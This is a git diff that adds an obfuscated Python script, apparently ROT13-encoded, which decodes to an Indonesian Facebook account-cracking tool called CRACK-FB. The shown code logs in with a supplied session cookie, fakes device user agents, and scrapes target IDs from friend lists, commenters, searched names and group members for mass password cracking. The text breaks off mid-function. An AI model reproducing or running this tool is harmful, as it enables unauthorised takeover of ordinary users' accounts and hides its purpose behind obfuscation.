diff --git a/CRACK-FB/Cyber.py b/CRACK-FB/Cyber.py new file mode 100644 index 0000000..82f497c --- /dev/null +++ b/CRACK-FB/Cyber.py @@ -0,0 +1,4 @@ +# COMPILE BY TEAM CYBER-INDONESIA +# TOOL MAKED BY MOCH ,NANGG, +# Github : https://github.com/NANGG-BADUTCODE +print((lambda __, _, : _('''###----------[ VZCBEG ZBQHYR YNVA ]---------- ###\nvzcbeg bf, flf, er, gvzr, erdhrfgf, pnyraqne, enaqbz, of4, hhvq, wfba, fhocebprff, onfr64\nsebz pbapheerag.shgherf vzcbeg GuernqCbbyRkrphgbe\nsebz of4 vzcbeg OrnhgvshyFbhc nf cnefre\nsebz qngrgvzr vzcbeg qngr,qngrgvzr\nsebz erdhrfgf.rkprcgvbaf vzcbeg PbaarpgvbaReebe\nfrf = erdhrfgf.Frffvba()\n\n###----------[ VZCBEG ZBQHYR EVPU ]---------- ###\nsebz evpu.cnary vzcbeg Cnary\nsebz evpu.gerr vzcbeg Gerr\nsebz evpu vzcbeg cevag nf cevagf\nsebz evpu.pbafbyr vzcbeg Pbafbyr\nsebz evpu.gnoyr vzcbeg Gnoyr\nsebz evpu.pbyhzaf vzcbeg Pbyhzaf\nsebz evpu.cebterff vzcbeg Cebterff,FcvaarePbyhza,OnePbyhza,GrkgPbyhza,GvzrRyncfrqPbyhza\npbafbyr = Pbafbyr()\n\n###----------[ JNEAN CEVAG EVPU ]---------- ###\nZ2 = "[#SS0000]" # ZRENU\nU2 = "[#00SS00]" # UVWNH\nX2 = "[#SSSS00]" # XHAVAT\nO2 = "[#00P8SS]" # OVEH\nC2 = "[#SSSSSS]" # CHGVU\n\n###----------[ TYBONY ANZN ]---------- ###\nfrxnenat = pnyraqne.gvzrtz(gvzr.tzgvzr(gvzr.gvzr()))\ngnzchat = []\nhtrag = []\n\n###----------[ PRX JNEAN GRZN ]---------- ###\ngel:\n\tsvyr_pbybe = bcra("qngn/gurzr_pbybe","e").ernq()\n\tpbybe_grkg = svyr_pbybe.fcyvg("|")[0]\n\tpbybe_cnary = svyr_pbybe.fcyvg("|")[1]\nrkprcg:\n\tpbybe_grkg = "[#00P8SS]"\n\tpbybe_cnary = "#00P8SS"\n\n###----------[ TRG QNGN QNEV QRIVPR ]---------- ###\nnaqebvq_irefvba = fhocebprff.purpx_bhgchg("trgcebc eb.ohvyq.irefvba.eryrnfr",furyy=Gehr).qrpbqr("hgs-8").ercynpr("\\a","")\ngel:fvzpneq = fhocebprff.purpx_bhgchg("trgcebc tfz.bcrengbe.nycun",furyy=Gehr).qrpbqr("hgs-8").fcyvg(",")[1].ercynpr("\\a","")\nrkprcg:fvzpneq = fhocebprff.purpx_bhgchg("trgcebc tfz.bcrengbe.nycun",furyy=Gehr).qrpbqr("hgs-8").fcyvg(",")[0].ercynpr("\\a","")\nirefv_ncc = fge(enaqbz.enaqvag(111111111,999999999))\n\n###----------[ TRARENGR HFRENTRAG ]---------- ###\nsbe m va enatr(200):\n\tirefv_naqebvq = fge(enaqbz.enaqvag(4,12))+".0.0"\n\tirefv_puebzr = fge(enaqbz.enaqvag(300,325))+".0.0."+fge(enaqbz.enaqvag(1,8))+"."+fge(enaqbz.enaqvag(40,150))\n\tqrivpr = enaqbz.pubvpr(["PCU1723", "PCU1901","PCU1920", "PCU1933", "PCU1937","PCU1937", "PCU1945", "PCU1951", "PCU1969", "PCU1979", "PCU1983", "PCU2005", "PCU2023", "PCU2083", "PCU2003", "PCU2004","PCU2269","ivib 1917", "ivib 1915", "ivib 1911", "ivib 1933", "ivib 1912","ivib 1920", "ivib 1921", "ivib 1910", "ivib 1927", "ivib 1913", "ivib 1923", "ivib 1926", "ivib 1928", "ivib 1931", "ivib 1935","FZ-T975S","FZ-T532T","FZ-A975S","FZ-T988H","FZ-T977H","FZ-N705SA","FZ-N515H1","FZ-T955S","FZ-N750T","FZ-A960S","FZ-T960H","FZ-W600S","FZ-N908O","FZ-N705TZ","FZ-T970H","FZ-N307SA","FZ-T965H1","FZ-N217S","FZ-T986O","FZ-N207Z","FZ-N515J","FZ-N505T","FZ-N315T","FZ-N507SA","FZ-N505H1","FZ-T977G","FZ-N025T","FZ-W320S","FZ-N715J","FZ-N908A","FZ-N205S","FZ-T988O","FZ-A986O","FZ-N715S","FZ-N515S","FZ-T965S","FZ-T960S","FZ-N505S","FZ-N207S","FZ-N307T","FZ-T970S","FZ-N107S","FZ-T935S","FZ-T935N","FZ-N310S","FZ-W320SA","Zv 11 Yvgr 5T fgnoyr","Zv 10G Ceb","Zv 11 Yvgr","ZV 8 Yvgr","ZV 5K ZVHV","Zv 11v","Kvnbzv 11 Yvgr 5T AR","Kvnbzv 12 Yvgr","Zv 9G Ceb","Z2004W19CV ZVHV","Kvnbzv 12F Hygen","ZVK 4","Zv 11v","Zv Abgr 10","Zv 9 FR","Zv 8 FR","Zv 10 FR","ZV ZNK 3","Kvnbzv 12G","ZVK 2F","ZV 8 FR","Zv N3","Zv N4","ZV 6","ZV ZNK 2","ZV ZNK 3","Kvnbzv 12F Hygen ","Kvnbzv 12FR Hygen ","Zv 11v","Zv 12v","Zv 10 Yvgr 5T","Zv 11 Yvgr 5T","Zv 12 Yvgr 5T","Zv 10 Yvgr 4T","Zv 10 Yvgr 4T","R6653"," T8231","P6603"," Q6503","FB-05S","FTC612","802FB","W9110","FBI40","FB-51N","KD-NG51"," FBT01","FB51Nn","KD-NG42","FB-51O","KD-OP52","KD-OP62","KD-OP72","FBT03","W9150","V4113","V3113","V3123","V3113","901FB","W3273","KD-PP72","KD-OG44","FB-41O"," P2304","R5506","T3311"," P1905","Q5322","Cvkry 6n","Cvkry 4","Cvkry 5","Cvkry 4 KY","Cvkry 6","Cvkry 6 Ceb","Cvkry 7 Ceb","Cvkry 4n","Cvkry P","Cvkry 5n","Cvkry 2 KY","Cvkry 2","Cvkry Fyngr","Tbbtyr Cvkryobbx Tb","Tbbtyr Cvkryobbx Tb","Cvkry KY","Cvkry 3n","EZK1831","EZK1911","EZK1971","EZK2030","EZK2076","EZK2081","EZK2151","EZK2176","EZK2185","EZK2193","EZK2194","EZK2195","EZK3061","EZK3017","EZK3042","EZK1231"])\n\tqri = qrivpr.fcyvg(" Ohvyq/")[0]\n\tnm = "N","O","P","Q","R","S","T","U","V","W","X","Y","Z","A","B","C","D","E","F","G","H","I","J","K","L","M"\n\tohvyq = s"{enaqbz.pubvpr(nm)}{enaqbz.pubvpr(nm)}{enaqbz.pubvpr(nm)}{enaqbz.enaqvag(10, 90)}{enaqbz.pubvpr(nm)}"\n\tirefv = enaqbz.pubvpr(["10_0_2","10_1_1","10_2","10_2_1","10_3_1","10_3_2","10_3_3"])\n\tirepuebzr = enaqbz.pubvpr(["602.1.50","602.2.14","602.3.12","602.4.6","603.1.30","603.2.4","603.3.8","601.1.46"])\n\tzbo = enaqbz.pubvpr(["14N456","14O100","14P92","14Q27","14R304","14S89","14T60","13P75","13Q15","13R233","13R238","13S69","13T34","13T36"])\n\thn = s"HPJRO/2.0 (Yvahk; H; Bcren Zvav/7.1.32052/30.3697; vq; PCU2387) H2/1.0.0 HPOebjfre/9.9.0.543 Zbovyr [SONA/ZrffratreYvgr;SONI/{irefv_puebzr};SOOI/193013937;SOQZ/"+"{qrafvgl=2.625,jvqgu=1080,urvtug=1794};"+s"SOYP/ra_HF;SOEI/0;SOPE/Irevmba;SOZS/Tbbtyr;SOOQ/tbbtyr;SOCA/pbz.snprobbx.zyvgr;SOQI/Cvkry 2;SOFI/{irefv_naqebvq};SOOX/1;SOBC/1;SOPN/nez64-i8n:;"\n\t\n\n\n\tvs hn va htrag:cnff\n\tryfr:htrag.nccraq(hn)\n\t\n###----------[ YBTB NHGUBE QNA IREFV]---------- ###\npynff Ybtb:\n\t\n\t###----------[ OREFVUXNA YNLNE ]---------- ###\n\tqrs orefvuxna_ynlne(frys):\n\t\tvs "yvahk" va flf.cyngsbez.ybjre():\n\t\t\tgel:bf.flfgrz("pyrne")\n\t\t\trkprcg:cnff\n\t\tryvs "jva" va flf.cyngsbez.ybjre():\n\t\t\tgel:bf.flfgrz("pyf")\n\t\t\trkprcg:cnff\n\t\tryfr:\n\t\t\tgel:bf.flfgrz("pyrne") \n\t\t\trkprcg:cnff\n\n\t###----------[ YBTB ]---------- ###\n\tqrs ybtbaln(frys):\n\t\tfrys.orefvuxna_ynlne()\n\t\tcevagf(Cnary(s"""{pbybe_grkg} {X2}\n\n \n███╗░░░███╗░█████╗░░█████╗░██╗░░██╗\n████╗░████║██╔══██╗██╔══██╗██║░░██║\n██╔████╔██║██║░░██║██║░░╚═╝███████║\n██║╚██╔╝██║██║░░██║██║░░██╗██╔══██║\n██║░╚═╝░██║╚█████╔╝╚█████╔╝██║░░██║\n╚═╝░░░░░╚═╝░╚════╝░░╚════╝░╚═╝░░╚═╝\n\n \n███╗░░██╗░█████╗░███╗░░██╗░██████╗░░██████╗░\n████╗░██║██╔══██╗████╗░██║██╔════╝░██╔════╝░\n██╔██╗██║███████║██╔██╗██║██║░░██╗░██║░░██╗░\n██║╚████║██╔══██║██║╚████║██║░░╚██╗██║░░╚██╗\n██║░╚███║██║░░██║██║░╚███║╚██████╔╝╚██████╔╝\n╚═╝░░╚══╝╚═╝░░╚═╝╚═╝░░╚══╝░╚═════╝░░╚═════╝░\n Gunxf {O2} 𝐴𝑙𝑒𝑥 𝑔𝑎𝑛𝑠,𝑅𝑜𝑏𝑒𝑡 𝑋𝐷, 𝐿𝑢𝑐𝑖𝑣𝑒𝑟 𝑋𝐷, 𝑴𝑶𝑪𝑯 𝑵𝑨𝑵𝑮𝑮 𝑿𝑫\n 𝕄𝕒𝕕𝕖 𝔹𝕪 {O2} 🇲\u200b\u200b\u200b\u200b\u200b🇴\u200b\u200b\u200b\u200b\u200b🇨\u200b\u200b\u200b\u200b\u200b🇭\u200b\u200b\u200b\u200b\u200b 🇳\u200b\u200b\u200b\u200b\u200b🇦\u200b\u200b\u200b\u200b\u200b🇳\u200b\u200b\u200b\u200b\u200b🇬\u200b\u200b\u200b\u200b\u200b🇬\u200b\u200b\u200b\u200b\u200b 🇽\u200b\u200b\u200b\u200b\u200b🇩\u200b\u200b\u200b\u200b\u200b {X2}ℂ𝕠𝕕𝕖𝕣""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\n###----------[ ONTVNA YBTVA ]---------- ###\npynff Ybtva:\n\t\n\t###----------[ SHAPGVBA VAVG ]---------- ###\n\tqrs __vavg__(frys):\n\t\tfrys.vc = frf.trg("uggc://vc-ncv.pbz/wfba/").wfba()["dhrel"]\n\t\tfrys.artnen = frf.trg("uggc://vc-ncv.pbz/wfba/").wfba()["pbhagel"]\n\n\t###----------[ ZRAH YBTVA ]---------- ###\n\tqrs zrah_ybtva(frys):\n\t\tYbtb().ybtbaln()\n\t\tcevagf(Cnary(s"{C2}{frys.vc}",cnqqvat=(0,30),fhogvgyr=s"{U2}{frys.artnen}",fglyr=s"{pbybe_cnary}"))\n\t\tcevagf(Cnary(s"""{C2}[{pbybe_grkg}01{C2}]. ʟᴏɢɪɴ ᴄᴏᴏᴋɪᴇ\n[{pbybe_grkg}02{C2}]. ʟᴏɢɪɴ {Z2}ᴇᴍᴀɪʟ ᴀɴᴅ ᴘᴀꜱꜱᴡᴏʀᴅ""",jvqgu=80,cnqqvat=(0,15),fglyr=s"{pbybe_cnary}"))\n\t\tybtva = pbafbyr.vachg(s" {U2}• {C2}ᴘɪʟɪʜ ᴍᴇɴᴜ : ")\n\t\tvs ybtva va["1","01"]:\n\t\t\tcevagf(Cnary(s"""{C2}ꜱɪʟᴀʜᴋᴀɴ ᴍᴀꜱᴜᴋᴀɴ ᴄᴏᴏᴋɪᴇᴍᴜ ʙᴀɴɢ""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\t\tpbbxvr = pbafbyr.vachg(s" {U2}• {C2}ᴄᴏᴏᴋɪᴇᴍᴜ : ")\n\t\t\t#bcra("qngn/pbbxvr","j").jevgr(pbbxvr)\n\t\t\tfrys.ybtva_pbbxvr(pbbxvr)\n\t\tryfr:\n\t\t\trkvg(cevagf(Cnary(s"""{Z2} ᴍᴀᴀꜰ ʙᴇʟᴜᴍ ᴅɪ ᴜᴘᴅᴀᴛᴇ ʙʀᴇ""",jvqgu=80,fglyr=s"{pbybe_cnary}")))\n\t\t\t\n\t###----------[ YBTVA PBBXVR ]---------- ###\n\tqrs ybtva_pbbxvr(frys,pbbxvr):\n\t\tgel:\n\t\t\they = frf.trg("uggcf://zonfvp.snprobbx.pbz/",pbbxvrf={"pbbxvr": pbbxvr}).grkg\n\t\t\tvs "Ncn lnat Naqn cvxvexna frxnenat" va hey:\n\t\t\t\tcnff\n\t\t\tryfr:\n\t\t\t\tsbe m va hey.svaq_nyy("n",uers=Gehr):\n\t\t\t\t\tvs "Gvqnx, Grevzn Xnfvu" va m.grkg:\n\t\t\t\t\t\ttrg = frf.trg("uggcf://zonfvp.snprobbx.pbz"+m["uers"],pbbxvrf={"pbbxvr": pbbxvr})\n\t\t\t\t\t\tcnefvat = cnefre(trg.grkg,"ugzy.cnefre")\n\t\t\t\t\t\tnpgvba = cnefvat.svaq("sbez",{"zrgubq":"cbfg"})["npgvba"]\n\t\t\t\t\t\tqngn = {\n\t\t\t\t\t\t\t"so_qgft":er.frnepu(\'anzr="so_qgft" inyhr="(.*?)"\', fge(trg.grkg)).tebhc(1),\n\t\t\t\t\t\t\t"wnmbrfg":er.frnepu(\'anzr="wnmbrfg" inyhr="(.*?)"\', fge(trg.grkg)).tebhc(1),\n\t\t\t\t\t\t\t"fhozvg": "BX, Thanxna Qngn"\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcbfg = frf.cbfg("uggcf://zonfvp.snprobbx.pbz"+npgvba,qngn=qngn,pbbxvrf={"pbbxvr": pbbxvr})\n\t\t\t\t\t\toernx\n\t\t\tbcra("qngn/pbbxvr","j").jevgr(pbbxvr)\n\t\t\tZrah().zrah()\n\t\trkprcg:\n\t\t\tcevagf(Cnary(s"""{Z2}ᴄᴏᴏᴋɪᴇᴍᴜ ᴍᴏᴅᴀʀ ɢᴏʙʟᴏᴋ""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\t\tflf.rkvg()\n\t\t\n\t###----------[ HONU ONUNFN ]---------- ###\n\tqrs honu_onunfn(frys,pbbxvr):\n\t\tgel:\n\t\t\they = frf.trg("uggcf://zonfvp.snprobbx.pbz/ynathntr/",pbbxvrf={"pbbxvr": pbbxvr})\n\t\t\tcnefvat = cnefre(hey.grkg,"ugzy.cnefre")\n\t\t\tsbe k va cnefvat.svaq_nyy("sbez",{"zrgubq":"cbfg"}):\n\t\t\t\tvs "Onunfn Vaqbarfvn" va fge(k):\n\t\t\t\t\tqngn = {\n\t\t\t\t\t\t"so_qgft" : er.frnepu(\'anzr="so_qgft" inyhr="(.*?)"\',fge(hey.grkg)).tebhc(1),\n\t\t\t\t\t\t"wnmbrfg" : er.frnepu(\'anzr="wnmbrfg" inyhr="(.*?)"\', fge(hey.grkg)).tebhc(1),\n\t\t\t\t\t\t"fhozvg" : "Onunfn Vaqbarfvn"\n\t\t\t\t\t}\n\t\t\t\t\tcbfg = frf.cbfg("uggcf://zonfvp.snprobbx.pbz"+k["npgvba"],qngn=qngn,pbbxvrf={"pbbxvr": pbbxvr})\n\t\trkprcg:\n\t\t\tcnff\n\t\t\n###----------[ ONTVNA ZRAH ]---------- ###\npynff Zrah:\n\t\n\t###----------[ SHAPGVBA VAVG ]---------- ###\n\tqrs __vavg__(frys):\n\t\tfrys.zra = []\n\t\tfrys.vq = []\n\t\tfrys.vc = frf.trg("uggc://vc-ncv.pbz/wfba/").wfba()["dhrel"]\n\t\tfrys.artnen = frf.trg("uggc://vc-ncv.pbz/wfba/").wfba()["pbhagel"]\n\n\t###----------[ PRX VASB YBTVA ]---------- ###\n\tqrs prx_ybtva(frys,pbbxvr):\n\t\tgel:\n\t\t\they = frf.trg("uggcf://zonfvp.snprobbx.pbz/cebsvyr.cuc",pbbxvrf=pbbxvr).grkg\n\t\t\tanzn = er.svaqnyy("(.*?)",hey)[0]\n\t\t\tvs "Xbagra Gvqnx Qvgrzhxna" va anzn:\n\t\t\t\tgel:bf.erzbir("qngn/pbbxvr")\n\t\t\t\trkprcg:cnff\n\t\t\t\tYbtva().zrah_ybtva()\n\t\t\tryfr:\n\t\t\t\terghea anzn\n\t\trkprcg PbaarpgvbaReebe:\n\t\t\tcevagf(Cnary(s"""{Z2}ᴋᴏɴᴇᴋꜱɪ ᴊᴇʟᴇᴋ,ʜᴀʀᴀᴘ ᴅᴜᴅᴜᴋ ᴅɪ ᴀᴛᴀꜱ ᴛᴏᴡᴇʀ""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\t\trkvg()\n\t\t\t\n\t###----------[ ZRAH HGNZN ]---------- ###\n\tqrs zrah(frys):\n\t\tYbtb().ybtbaln()\n\t\t\n\t\t###----------[ TRG PBBXVR QNA QNGN ]---------- ###\n\t\tgel:\n\t\t\tpbx = bcra("qngn/pbbxvr","e").ernq()\n\t\t\tpbbxvr = {"pbbxvr": pbx}\n\t\t\tanzn = frys.prx_ybtva(pbbxvr)\n\t\trkprcg:\n\t\t\tgel:bf.erzbir("qngn/pbbxvr")\n\t\t\trkprcg:cnff\n\t\t\tYbtva().zrah_ybtva()\n\t\t\n\t\t###----------[ CNARY OVNFN ]---------- ###\n\t\tcevagf(Cnary(s"{Z2}{frys.vc}",cnqqvat=(0,30),gvgyr=s"{X2}{anzn}",fhogvgyr=s"{O2}{frys.artnen}",fglyr=s"{pbybe_cnary}"))\n\t\tcevagf(Cnary(s"""{X2}[{pbybe_grkg}01{X2}]. ᴄʀᴀᴄᴋ ɪᴅ ꜰᴇᴄᴇʙᴏᴏᴋ [{pbybe_grkg}05{X2}].𝘾𝙧𝙖𝙘𝙠 𝙪𝙨𝙚𝙧𝙣𝙖𝙢𝙚 𝙁𝙖𝙘𝙚𝙗𝙤𝙤𝙠\n[{pbybe_grkg}02{X2}].𝐂𝐫𝐚𝐜𝐤 𝐏𝐞𝐧𝐠𝐢𝐤𝐮𝐭 𝐟𝐛 [{pbybe_grkg}06{X2}].𝐂𝐫𝐚𝐜𝐤 𝐧𝐚𝐦𝐚 𝐟𝐛\n[{pbybe_grkg}03{X2}].𝐂𝐫𝐚𝐜𝐤 𝐤𝐨𝐦𝐞𝐧𝐭𝐚𝐫 𝐟𝐛 [{pbybe_grkg}07{X2}].𝐂𝐫𝐚𝐜𝐤 𝐠𝐫𝐮𝐩 𝐟𝐛\n[{pbybe_grkg}04{X2}].𝐂𝐫𝐚𝐜𝐤 𝐞𝐦𝐚𝐢𝐥 𝐟𝐛 [{pbybe_grkg}08{X2}].𝐂𝐫𝐚𝐜𝐤 𝐨𝐩𝐬𝐢 𝐜𝐩 𝐟𝐛""",jvqgu=80,cnqqvat=(0,6),fglyr=s"{pbybe_cnary}"))\n\t\tcevagf(Cnary(s"""{X2}xrgvx {U2}obg{X2} haghx xr zrah obg qna xrgvx {U2}ynva{X2} haghx xr zrah ynva""",jvqgu=80,cnqqvat=(0,6),fglyr=s"{pbybe_cnary}"))\n\t\tzrah = pbafbyr.vachg(s" {U2}• {X2}cvyvu zrah : ")\n\t\t\n\t\t###----------[ VQ CHOYVX ]---------- ###\n\t\tvs zrah va["1","01"]:\n\t\t\tcevagf(Cnary(s"""{X2}znfhxna vq gnetrg, cnfgvxna vq gnetrg orefvsng choyvx qna gvqnx cevingr""",fhogvgyr=s"{O2}xrgvx {U2}zr{X2} haghx qhzc qnev grzna fraqvev",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\t\thfre = pbafbyr.vachg(s" {U2}• {O2}znfhxna vq ngnh hfreanzr : ")\n\t\t\tvs hfre va["Zr","zr"]:\n\t\t\t\thfre = Qhzc(pbbxvr).TrgHfre()\n\t\t\tQhzc(pbbxvr).Qhzc_Choyvx(s"uggcf://z.snprobbx.pbz/{hfre}?i=sevraqf")\n\t\t\tPenpx().nghefnaqv()\n\t\t\t\n\t\t###----------[ XBZRAGNE ]---------- ###\n\t\tryvs zrah va["3","03"]:\n\t\t\tcevagf(Cnary(s"""{X2}znfhxna vq cbfgvatna, cnfgvxna cbfgvatna orefvsng choyvx qna gvqnx cevingr""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\t\thfre = pbafbyr.vachg(s" {U2}• {X2}znfhxna vq cbfgvatna : ")\n\t\t\tQhzc(pbbxvr).Qhzc_Xbzragne(s"uggcf://zonfvp.snprobbx.pbz/{hfre}")\n\t\t\tPenpx().nghefnaqv()\n\t\t\t\n\t\t###----------[ RZNVY ]---------- ###\n\t\tryvs zrah va["4","04"]:\n\t\t\tcevagf(Cnary(s"""{X2}znfhxna anzn qna sbezng rznvy thanxna \'@\' qv njny pbagbu @tznvy.pbz""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\t\thfre = pbafbyr.vachg(s" {U2}• {C2}znfhxna anzn : ")\n\t\t\tsbezng = pbafbyr.vachg(s" {U2}• {C2}znfhxna sbezng : ")\n\t\t\tyvzvg = pbafbyr.vachg(s" {U2}• {C2}znfhxna yvzvg : ")\n\t\t\tQhzc(pbbxvr).Qhzc_Rznvy(hfre,sbezng,yvzvg)\n\t\t\tPenpx().nghefnaqv()\n\t\t\t\n\t\t###----------[ HFREANZR ]---------- ###\n\t\tryvs zrah va["5","05"]:\n\t\t\tcevagf(Cnary(s"""{C2}znfhxna anzn qna wvxn 2 xngn ovfn thanxna gvgvx \'.\' frontnv crzvfnu""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\t\thfre = pbafbyr.vachg(s" {U2}• {X2}znfhxna anzn : ")\n\t\t\tyvzvg = pbafbyr.vachg(s" {U2}• {X2}znfhxna yvzvg : ")\n\t\t\tQhzc(pbbxvr).Qhzc_Hfreanzr(hfre,yvzvg)\n\t\t\tPenpx().nghefnaqv()\n\t\t\t\n\t\t###----------[ CRAPNEVNA ANZN ]---------- ###\n\t\tryvs zrah va["6","06"]:\n\t\t\tcevagf(Cnary(s"""{C2}xnzh ovfn zratthanxna xbzn (,) frontnv crzvfnu wvxn yrovu qnev 1 anzn""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\t\thfre = pbafbyr.vachg(s" {U2}• {C2}znfhxna anzn : ")\n\t\t\tpbzzba = bcra("nffrg/anzn_vaqbarfvn","e").ernq().fcyvgyvarf()\n\t\t\tsbe vqg va hfre.fcyvg(","):\n\t\t\t\tfrys.vq.nccraq(vqg)\n\t\t\t\tsbe crbcyr va pbzzba:\n\t\t\t\t\tfrys.vq.nccraq(crbcyr+" "+vqg)\n\t\t\tgel:\n\t\t\t\tsbe tnf va frys.vq:\n\t\t\t\t\tQhzc(pbbxvr).Qhzc_Crapnevna(s"uggcf://zonfvp.snprobbx.pbz/choyvp/{tnf}")\n\t\t\trkprcg:cnff\n\t\t\tPenpx().nghefnaqv()\n\t\t\n\t\t###----------[ ZRZORE TEHC ]---------- ###\n\t\tryvs zrah va["7","07"]:\n\t\t\tcevagf(Cnary(s"""{C2}znfhxna vq tehc, cnfgvxna tehc orefvsng choyvx qna gvqnx cevingr""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\t\thfre = pbafbyr.vachg(s" {U2}• {C2}znfhxna vq tehc : ")\n\t\t\tQhzc(pbbxvr).Qhzc_ZrzoreTehc(s"uggcf://zonfvp.snprobbx.pbz/tebhcf/{hfre}")\n\t\t\tPenpx().nghefnaqv()\n\t\t\t\n\t\t###----------[ SVYR ZNFFNY ]---------- ###\n\t\tryvs zrah va["8","08"]:\n\t\t\tsvyr_pc()\n\n\t\t###----------[ CVAQNU XR ZRAH OBG ]---------- ###\n\t\tryvs zrah va["OBG","Obg","obg"]:\n\t\t\trkvg(cevagf(Cnary(s"""{Z2}🙏 znns svghe vav oryhz grefrqvn, fvynuxna zrahatth hcqngr frynawhgaln""",jvqgu=80,fglyr=s"{pbybe_cnary}")))\n\t\t\t\n\t\t###----------[ CVAQNU XR ZRAH YNVA ]---------- ###\n\t\tryvs zrah va["YNVA","Ynva","ynva"]:\n\t\t\tYnva(pbbxvr).zrah()\n\t\t\t\n\t\tryfr:\n\t\t\trkvg(cevagf(Cnary(s"""{Z2}🙏 znns svghe vav oryhz grefrqvn, fvynuxna zrahatth hcqngr frynawhgaln""",jvqgu=80,fglyr=s"{pbybe_cnary}")))\n\t\t\t\n###----------[ ONTVNA QHZC ]---------- ###\npynff Qhzc:\n\t\n\t###----------[ SHAPGVBA VAVG ]---------- ###\n\tqrs __vavg__(frys,pbbxvr):\n\t\tfrys.pbbxvr = pbbxvr\n\t\t\t\n\t###----------[ TRG HFRE FRAQVEV ]---------- ###\n\tqrs TrgHfre(frys):\n\t\tgel:\n\t\t\they = frf.trg("uggcf://zonfvp.snprobbx.pbz/cebsvyr.cuc",pbbxvrf=frys.pbbxvr).grkg\n\t\t\thvq = er.svaqnyy(\'anzr="gnetrg" inyhr="(.*?)"\',hey)[0]\n\t\t\terghea hvq\n\t\trkprcg:\n\t\t\tcnff\n\n\t###----------[ QHZC VQ CHOYVX ]---------- ###\n\tqrs Qhzc_Choyvx(frys,hey):\n\t\tgel:\n\t\t\they = cnefre(frf.trg(hey,pbbxvrf=frys.pbbxvr).grkg,"ugzy.cnefre")\n\t\t\tsbe m va hey.svaq_nyy("n",uers=Gehr):\n\t\t\t\tvs "sers" va m.trg("uers"):\n\t\t\t\t\tvs "/cebsvyr.cuc?vq=" va m.trg("uers"):hvq = "".wbva(of4.er.svaqnyy("cebsvyr\\.cuc\\?vq=(.*?)&",m.trg("uers")));anzn = m.grkg\n\t\t\t\t\tryfr:hvq = "".wbva(of4.er.svaqnyy("/(.*?)\\?",m.trg("uers")));anzn = m.grkg\n\t\t\t\t\tvs hvq+"<=>"+anzn va gnzchat:cnff\n\t\t\t\t\tryfr:gnzchat.nccraq(hvq+"<=>"+anzn)\n\t\t\t\t\tpbafbyr.cevag(s" {U2}• {X2}frqnat cebfrf zrathzchyxna vq, oreunfvy zraqncngxna {yra(gnzchat)} vq....", raq="\\e")\n\t\t\tsbe k va hey.svaq_nyy("n",uers=Gehr):\n\t\t\t\tvs "Yvung Grzna Ynva" va k.grkg:\n\t\t\t\t\tfrys.Qhzc_Choyvx("uggcf://zonfvp.snprobbx.pbz/"+k.trg("uers"))\n\t\trkprcg:cnff\n\t\t\t\n\t###----------[ QHZC XBZRAGNE ]---------- ###\n\tqrs Qhzc_Xbzragne(frys,hey):\n\t\tgel:\n\t\t\tqngn = cnefre(frf.trg(hey).grkg,"ugzy.cnefre")\n\t\t\tsbe vfv va qngn.svaq_nyy("u3"):\n\t\t\t\tsbe vqf va vfv.svaq_nyy("n",uers=Gehr):\n\t\t\t\t\tvs "cebsvyr.cuc" va vqf.trg("uers"):hvq = vqf.trg("uers").fcyvg(\'=\')[1].ercynpr("&ersvq","")\n\t\t\t\t\tryfr:hvq = er.svaqnyy("/(.*?)?__",vqf["uers"])[0]. ercynpr("?ersvq=52&","")\n\t\t\t\t\tanzn = vqf.grkg\n\t\t\t\t\tvs hvq+"<=>"+anzn va gnzchat:cnff\n\t\t\t\t\tryfr:gnzchat.nccraq(hvq+"<=>"+anzn)\n\t\t\t\t\tpbafbyr.cevag(s" {U2}• {C2}frqnat cebfrf zrathzchyxna vq, oreunfvy zraqncngxna {yra(gnzchat)} vq....", raq="\\e")\n\t\t\tsbe m va qngn.svaq_nyy("n",uers=Gehr):\n\t\t\t\tvs "Yvung xbzragne froryhzaln…" va m.grkg:\n\t\t\t\t\tfrys.Qhzc_Xbzragne("uggcf://zonfvp.snprobbx.pbz"+m["uers"])\n\t\trkprcg:cnff\n\t\t\n\t###----------[ QHZC CRAPNEVNA ANZN ]---------- ###\n\tqrs Qhzc_Crapnevna(frys,hey):\n\t\tgel:\n\t\t\tqngn = cnefre(frf.trg(fge(hey)).grkg,\'ugzy.cnefre\')\n\t\t\tsbe m va qngn.svaq_nyy("gq"):\n\t\t\t\tanzc = er.svaqnyy(\'\\\\\\(.*?)<\\/qvi\\>\',fge(m))\n\t\t\t\tsbe hvq,anzn va anzc:\n\t\t\t\t\tvs "cebsvyr.cuc?" va hvq:hvq = er.svaqnyy("vq=(.*)",fge(hvq))[0]\n\t\t\t\t\tryvs ""+anzn va gnzchat:cnff\n\t\t\t\t\tryfr:gnzchat.nccraq(hvq+"<=>"+anzn)\n\t\t\t\t\tpbafbyr.cevag(s" {U2}• {C2}frqnat cebfrf zrathzchyxna vq, oreunfvy zraqncngxna {yra(gnzchat)} vq....", raq="\\e")\n\t\t\tsbe k va qngn.svaq_nyy("n",uers=Gehr):\n\t\t\t\tvs "Yvung Unfvy Frynawhgaln" va k.grkg:\n\t\t\t\t\tfrys.Qhzc_Crapnevna(k.trg("uers"))\n\t\trkprcg:cnff\n\t\t\n\t###----------[ QHZC ZRZORE TEHC ]---------- ###\n\tqrs Qhzc_ZrzoreTehc(frys,hey):\n\t\tgel:\n\t\t\tqngn = cnefre(frf.trg(hey,pbbxvrf=frys.pbbxvr,urnqref={"hfre-ntrag": "Zbmvyyn/5.0 (FlzovnaBF/9.3; Frevrf60/3.2 AbxvnR52-1/052.003; Cebsvyr/ZVQC-2.1 Pbasvthengvba/PYQP-1.1 ) NccyrJroXvg/525 (XUGZY, yvxr Trpxb) Irefvba/3.0 OebjfreAT/7.2.6.2 3tcc-ton"}).grkg, "ugzy.cnefre")\n\t\t\twhqhy = er.svaqnyy("(.*?)",fge(qngn))[0]\n\t\t\tsbe vfv va qngn.svaq_nyy("u3"):\n\t\t\t\tsbe vqf va 